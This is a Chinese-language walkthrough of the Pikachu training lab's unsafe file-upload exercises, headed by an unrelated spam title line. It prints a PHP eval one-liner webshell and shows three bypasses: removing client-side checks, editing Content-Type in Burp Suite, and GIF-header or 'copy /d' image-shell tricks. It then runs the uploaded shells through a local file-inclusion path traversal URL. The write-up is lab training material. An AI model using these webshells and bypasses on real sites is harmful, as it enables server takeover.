無極網(wǎng)站站怎么有的下不了如何讓百度收錄自己信息
文章目錄
- client check
- MIME Type
- getimagesize
文件上傳功能在web應(yīng)用系統(tǒng)很常見,比如很多網(wǎng)站注冊的時候需要上傳頭像、上傳附件等等。當(dāng)用戶點擊上傳按鈕后,后臺會對上傳的文件進行判斷
比如是否是指定的類型、后綴名、大小等等,然后將其按照設(shè)計的格式進行重命名后存儲在指定的目錄。
如果說后臺對上傳的文件沒有進行任何的安全判斷或者判斷條件不夠嚴(yán)謹(jǐn),則攻擊著可能會上傳一些惡意的文件,比如一句話木馬,從而導(dǎo)致后臺服務(wù)器被webshell。
所以,在設(shè)計文件上傳功能時,一定要對傳進來的文件進行嚴(yán)格的安全考慮。比如:
? --驗證文件類型、后綴名、大小;
? --驗證文件的上傳方式;
? --對文件進行一定復(fù)雜的重命名;
? --不要暴露文件上傳后的路徑;
client check
上傳一句話木馬1.php
<?php eval(@$_POST['password']);?>
報錯顯示說不符合要求
查看頁面代碼,發(fā)現(xiàn)有js
函數(shù)做驗證
前端校驗不值一提,直接刪除js校驗函數(shù)
這時候一句話木馬已經(jīng)上傳,可以通過蟻劍來連接進入
木馬上傳的路徑
192.168.80.139/pikachu/vul/unsafeupload/uploads/1.php
MIME Type
MIME(多用途互聯(lián)網(wǎng)郵件擴展類型),是設(shè)定某種擴展名的文件用一種應(yīng)用程序來打開的方式類型,當(dāng)該擴展文件被訪問的時候,瀏覽器會自動使用指定應(yīng)用程序來打開。多用于指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。
每個MIME類型由兩部分組成,前面是數(shù)據(jù)的大類別,例如聲音audio、圖像image等,后面定義具體的種類,常見的MIME類型,比如:
超文本標(biāo)記語言文本.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF圖形.gif image/gif
JPEG圖形.ipeg.jpg image/jpeg
繼續(xù)提交php木馬文件,使用Burpsuite
抓取數(shù)據(jù)包,發(fā)送到Repeater
修改Content-Type
getimagesize
菜鳥教程
Getimagesize
是PHP
提供的一個用來判斷目標(biāo)文件是不是圖片的函數(shù)
對文件的開頭內(nèi)容進行了檢測并且通過二進制識別是否為圖像,那么就可以利用文件頭欺騙,來讓getimagesize()函數(shù)檢測無效。
1、制作圖片木馬方式一
這里用GIF的文件頭,在一句話木馬前加上GIF的文件頭標(biāo)識,后綴改為png格式
GIF89a
<?php phpinfo(); ?>
圖片上傳后保存的地址:http://192.168.80.139/pikachu/vul/unsafeupload/uploads/2023/08/16/33780664dccf36108f6808817624.png
通過使用文件包含路徑去訪問后門文件
http://192.168.80.139/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/08/16/33780664dccf36108f6808817624.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
2、制作圖片木馬方式二
準(zhǔn)備一個jpeg
格式的圖片,還有一個php木馬文件
通過CMD
命令將兩個合成一個ws.jpeg
,生成的文件前面內(nèi)容是2.jpeg
,后面是12.php
內(nèi)容
copy /d 2.jpeg + 12.php ws.jpeg
上傳ws.jpeg
圖片
uploads/2023/08/16/38476764dcd1bd7cf51012008763.jpeg
雖然我們繞過getimagesize()
,成功上傳圖片,但只訪問圖片里面的php
代碼是執(zhí)行不了的
需要通過文件包含路徑去訪問木馬文件
http://192.168.80.139/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/08/16/38476764dcd1bd7cf51012008763.jpeg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2